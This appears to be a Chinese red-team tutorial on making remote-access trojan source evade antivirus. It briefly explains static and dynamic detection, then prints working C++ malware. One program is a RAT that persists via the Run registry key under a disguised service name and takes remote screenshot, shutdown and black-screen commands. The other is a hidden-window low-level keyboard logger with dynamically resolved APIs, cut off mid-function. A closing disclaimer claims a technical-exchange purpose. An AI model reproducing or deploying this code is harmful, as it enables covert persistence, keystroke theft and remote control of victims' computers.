以下是对上述内容的汇总:
**一、红队 RAT 源码免杀思维**
市面上有很多杀软免杀技术,但对于初学者来说,可能会遇到一些问题,如加壳后反而被查杀等情况,容易让人情绪化放弃。本文将静态免杀和动态免杀按照是否运行程序进行划分,主要有以下情况:
1. 如果放置进杀软环境被查杀,则可能为静态查杀或动态查杀(沙箱查杀 DLL,因为 DLL 并不会直接运行)。
2. 如果双击运行被查杀,则为动态查杀。
**(一)静态查杀**
1. **已知病毒查杀 - 特征码查杀**:
- 特征码是表示按照指定模式进行特征匹配的算法,具体使用的规则取决于扫描器。例如 YARA(Yet Another Recursive Acronym) 规则,它是一款开源工具,可基于文本或二进制模式创建恶意软件家族描述信息。
- 以 PoisonIvy 的 YARA 规则为例,满足特定字符串、文件大小等条件且为 PE 文件的则被认定为 PoisonIvy 病毒。程序符合特定规则则被认定为指定病毒。
2. **未知病毒查杀 - 静态启发式查杀**:
- 启发式查杀是对单一特征码查杀的补充,用于解决未知病毒查杀。早期杀软通过发现病毒制作特征码来查杀已知病毒,而启发式查杀则将一类病毒总结归纳其特征,后续演变都归为一类病毒。
- 例如,有的杀软会通过机器学习把家族病毒聚类,或使用通用型 YARA 规则,如文件大小小于 100kb 且没有图标则识别为病毒,以此查杀壳病毒。也可能出现误报,如杀软查杀 main 函数中仅有几行无效代码的情况。
**(二)动态查杀**
1. **已知病毒查杀 - 内存特征**:
- 例如,某数字查杀 cobaltstrike 等知名远控是通过 shell code 内存匹配来进行查杀。
2. **未知病毒查杀 - 启发式查杀和主动防御**:
- 杀软通过拦截程序运行的 API 调用,根据 API 序列或其是否高危来判定是否为病毒。
- 举例:Kas 针对 cobaltstrike 的查杀是通过联网 URL 的地址特征;某些杀软会分析拷贝到磁盘的 DLL 的行为,如 DLL 下载者会被查杀;注入 explorer.exe 可能被干掉;Bitdexxxxx 会在运行时查杀空壳且名字随机的程序,干扰免杀。注意,有的杀软在断网模式下不开启主动防御功能。
*红队 RAT 源码免杀实战
#include <stdio.h>
#include <iostream>
#include <winsock2.h>
#include <string>
#include <windows.h>
#include <winuser.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
#define RUN_KEY_ADMIN "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"
#define RUN_KEY "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
int addRunEntry(char *name, char *path)
{
HKEY key;
int len = strlen(path) + 1;
//LONG r = RegOpenKeyEx(HKEY_LOCAL_MACHINE, RUN_KEY, 0, KEY_ALL_ACCESS, &key);
LONG r = RegOpenKeyEx(HKEY_CURRENT_USER, RUN_KEY, 0, KEY_ALL_ACCESS, &key);
if (r!= ERROR_SUCCESS) {
// unable to open key for adding values.
return 1;
}
r = RegSetValueEx(key, name, 0, REG_SZ, (BYTE *)path, len);
if (r!= ERROR_SUCCESS) {
RegCloseKey(key);
// unable to change registry value.
return 1;
}
RegCloseKey(key);
// success
return 0;
}
void loader(char szExe[], char szArgs[])
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
if(CreateProcessA(szExe, szArgs, 0, 0, FALSE, 0, 0, 0, LPSTARTUPINFOA(&si), &pi))
{
// optionally wait for process to finish
//WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
int WINAPI WinMain(HINSTANCE inst,HINSTANCE prev,LPSTR cmd,int show){
//registry autorun
char result[260];
string( result, GetModuleFileName(NULL, result, 260));
string try1 = (string)result;
string try2 = "\""+try1+"\"";
char *result2 = (char*)try2.c_str();
addRunEntry("MSSQLSP_Server", result2);
bool running = true;
while(running){
WSADATA WsaDat;
if(WSAStartup(MAKEWORD(2,2),&WsaDat)!=0)
{
std::cout<<"WSA Initialization failed!\r\n";
WSACleanup();
system("PAUSE");
return 0;
}
SOCKET Socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(Socket==INVALID_SOCKET)
{
std::cout<<"Socket creation failed.\r\n";
WSACleanup();
system("PAUSE");
return 0;
}
SOCKADDR_IN serverInf;
serverInf.sin_family=AF_INET;
serverInf.sin_addr.s_addr=INADDR_ANY;
serverInf.sin_port=htons(25565);
if(bind(Socket,(SOCKADDR*)(&serverInf),sizeof(serverInf))==SOCKET_ERROR)
{
std::cout<<"Unable to bind socket!\r\n";
WSACleanup();
system("PAUSE");
return 0;
}
listen(Socket,1);
SOCKET TempSock=SOCKET_ERROR;
while(TempSock==SOCKET_ERROR)
{
std::cout<<"Waiting for incoming connections...\r\n";
TempSock=accept(Socket,NULL,NULL);
}
Socket=TempSock;
std::cout<<"Client connected!\r\n\r\n";
char *szMessage="Welcome to the server! Use SCREENSHOT or SHUTDOWN or BLACKSCREEN\r\n";
send(Socket,szMessage,strlen(szMessage),0);
//
char buffer[1024] = {'\0'};
std::string message;
int s = recv(Socket, buffer, 1024, 0);
/*cout << "outgoing MESSAGE: ";
cin >> message;
send(Socket, message.c_str(), message.length(), 0);*/
message = (string)buffer;
cout << message;
if (std::string::npos!= message.find("SCREENSHOT"))
{
char* appdata = getenv("APPDATA");
string asdf = (string)appdata + "\\Server_actions.exe";
char * ddd = &asdf[0];
loader(ddd, " SCREENSHOT");
string backstr = "it's up to you, master.. Screenes may be cool!";
send(Socket, backstr.c_str(), backstr.length(), 0);
}else if(std::string::npos!= message.find("SHUTDOWN")){
//shutdown the pc
//restart app
char* appdata = getenv("APPDATA");
string asdf = (string)appdata + "\\Server_actions.exe";
char * ddd = &asdf[0];
loader(ddd, " SHUTDOWN");
string backstr = "Shutting down..";
send(Socket, backstr.c_str(), backstr.length(), 0);
return 0;
}else if(std::string::npos!= message.find("BLACKSCREEN")){
//black screen
//restart app
char* appdata = getenv("APPDATA");
string asdf = (string)appdata + "\\Server_actions.exe";
char * ddd = &asdf[0];
loader(ddd, " BLACKSCREEN");
string backstr = "it's up to you, master.. Having fun on a black desktop :)";
send(Socket, backstr.c_str(), backstr.length(), 0);
}
// Shutdown our socket
shutdown(Socket,SD_SEND);
// Close our socket entirely
closesocket(Socket);
// Cleanup Winsock
WSACleanup();
}
system("PAUSE");
return 0;
}
这段代码实现了以下功能:
- 通过注册表实现自启动。
- 建立网络连接,等待客户端连接。
- 根据客户端指令执行相应操作,如截图、关机、黑屏等,并加载另一个可执行文件执行操作后向客户端返回消息。
红队 RAT 源码免杀实战
// KbHook.cpp : Defines the entry point for the console application.
//
#include "pch.h"
#include "windows.h"
#include "stdio.h"
#include "kbhook.h"
#include <malloc.h>
#define _WIN32_WINNT 0x0500 //仅NT5.0以上系统可用
#define WM_StartHook WM_USER+100
#define WM_StopHook WM_USER+200
#define WM_MYQUIT WM_USER+300
typedef LRESULT(WINAPI *My_DefWindowProc)(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
My_DefWindowProc myDefWindowProc;
typedef HHOOK(WINAPI *My_SetWindowsHookEx)(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
My_SetWindowsHookEx mySetWindowsHookEx;
_KbHook* _KbHook::m_pThis = NULL;
_KbHook::_KbHook()
{
m_pThis = this;
m_hWndKeylogger = NULL;
m_hhook = NULL;
m_hLastFocus = NULL;
m_bSend = false;
m_bOfflineLog = false;
m_bLogToFile = false;
memset(m_CurrentWindowText, 0, sizeof(m_CurrentWindowText));
memset(m_LastWindowText, 0, sizeof(m_LastWindowText));
memset(m_fileName, 0, MAX_PATH);
m_hFile = INVALID_HANDLE_VALUE;
m_hCreateWindowEvent = CreateEvent(NULL, false, false, NULL);
m_ThreadHandle = CreateThread(NULL, NULL, CreateWindowThread, this, NULL, &m_ThreadID);
WaitForSingleObject(m_hCreateWindowEvent, 10000);//10秒应该够长了吧
}
_KbHook::~_KbHook()
{
SendMessage(m_hWndKeylogger, WM_QUIT, 0, 0);
if (m_ThreadHandle!= NULL)
{
try
{
TerminateThread(m_ThreadHandle, 0);
m_ThreadHandle = NULL;
}
catch (...)
{
return;
}
}
}
//创建窗口
DWORD __stdcall _KbHook::CreateWindowThread(LPVOID lpParam)
{
_KbHook* pKbHook = (_KbHook*)lpParam;
pKbHook->CreateWindowHook();
return 0;
}
void _KbHook::CreateWindowHook()
{
try
{
Desktop_Capture("WinSta0", NULL, NULL, 0);
WNDCLASSEX wndClassEx; //ebp-6c
//char szBuffer[0x20]; //ebp-3c
MSG msg; //ebp-1c
HMODULE hModule = GetModuleHandle(NULL);//句柄,相当于 HINSTANCE
if (hModule!= 0)
{
//创建窗口 设定视窗类别
wndClassEx.cbSize = 0x30;
wndClassEx.style = 0;
wndClassEx.lpfnWndProc = HookWindowProc;
wndClassEx.cbClsExtra = 0;
wndClassEx.cbWndExtra = 0;
wndClassEx.hInstance = hModule;
wndClassEx.hIcon = 0;
wndClassEx.hCursor = NULL;
wndClassEx.hbrBackground = NULL;
wndClassEx.lpszMenuName = NULL;
wndClassEx.lpszClassName = "KB";
wndClassEx.hIconSm = 0;
// 注册新视窗类别
RegisterClassEx(&wndClassEx);
// 建构视窗
m_hWndKeylogger = CreateWindowEx(0, wndClassEx.lpszClassName, NULL, WS_OVERLAPPED,
0, 0, 0, 0, NULL, NULL, hModule, NULL);
ShowWindow(m_hWndKeylogger, SW_HIDE);
UpdateWindow(m_hWndKeylogger);
SetEvent(m_hCreateWindowEvent);
// 等待 WM_QUIT 消息循环
try
{
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
catch (...)
{
}
if (m_hhook!= NULL)
{
UnhookWindowsHookEx(m_hhook);
m_hhook = NULL;
}
}
}
catch (...)
{
}
}
LRESULT CALLBACK _KbHook::HookWindowProc(HWND hWndKeylogger, UINT Msg, WPARAM wParam, LPARAM lParam)
{
HINSTANCE h = LoadLibrary("User32.dll");
myDefWindowProc = (My_DefWindowProc)GetProcAddress(h, "DefWindowProcA");
switch (Msg)
{
case WM_StartHook:
m_pThis->StartHook();
return 0;
case WM_StopHook:
m_pThis->StopHook();
return 0;
case WM_QUIT:
PostQuitMessage(0);
return 0;
default: break;
}
return myDefWindowProc(hWndKeylogger, Msg, wParam, lParam);
}
void _KbHook::SendStartHook(char* fileName, int len)
{
if (m_hWndKeylogger == NULL)
return;
if (m_hhook)
return;
memcpy(m_fileName, fileName, len);
SendMessage(m_hWndKeylogger, WM_StartHook, 0, 0);
}
void _KbHook::SendStopHook()
{
SendMessage(m_hWndKeylogger, WM_StopHook, 0, 0);
}
void _KbHook::StartHook()
{
if (m_hFile == INVALID_HANDLE_VALUE)
{
m_hFile = CreateFile(m_fileName, GENERIC_WRITE, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(m_hFile, 0, 0, FILE_END);
}
HINSTANCE h = LoadLibrary("User32.dll");
mySetWindowsHookEx = (My_SetWindowsHookEx)GetProcAddress(h, "SetWindowsHookExA");
m_hhook = mySetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0);
}
void _KbHook::StopHook()
{
if (m_hhook!= NULL)
{
UnhookWindowsHookEx(m_hhook);
m_hhook = NULL;
if (INVALID_HANDLE_VALUE!= m_hFile)
{
CloseHandle(m_hFile);
m_hFile = INVALID_HANDLE_VALUE;
}
}
}
LRESULT CALLBACK _KbHook::KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (m_pThis!= NULL)
{
return m_pThis->KeyboardHookFunc(nCode, wParam, lParam);
}
return 0L;
}
LRESULT _KbHook::KeyboardHookFunc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode!= HC_ACTION)
return CallNextHookEx(m_hhook, nCode, wParam, lParam);
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
if (wParam == WM_KEYDOWN)
{
if ((int)(GetTickCount() - p->time) > 100 || (int)(GetTickCount() - p->time) < -100)
{
return CallNextHookEx(m_hhook, nCode, wParam, lParam);
}
HWND hFocus
以上用于技术交流,不可用于非法用途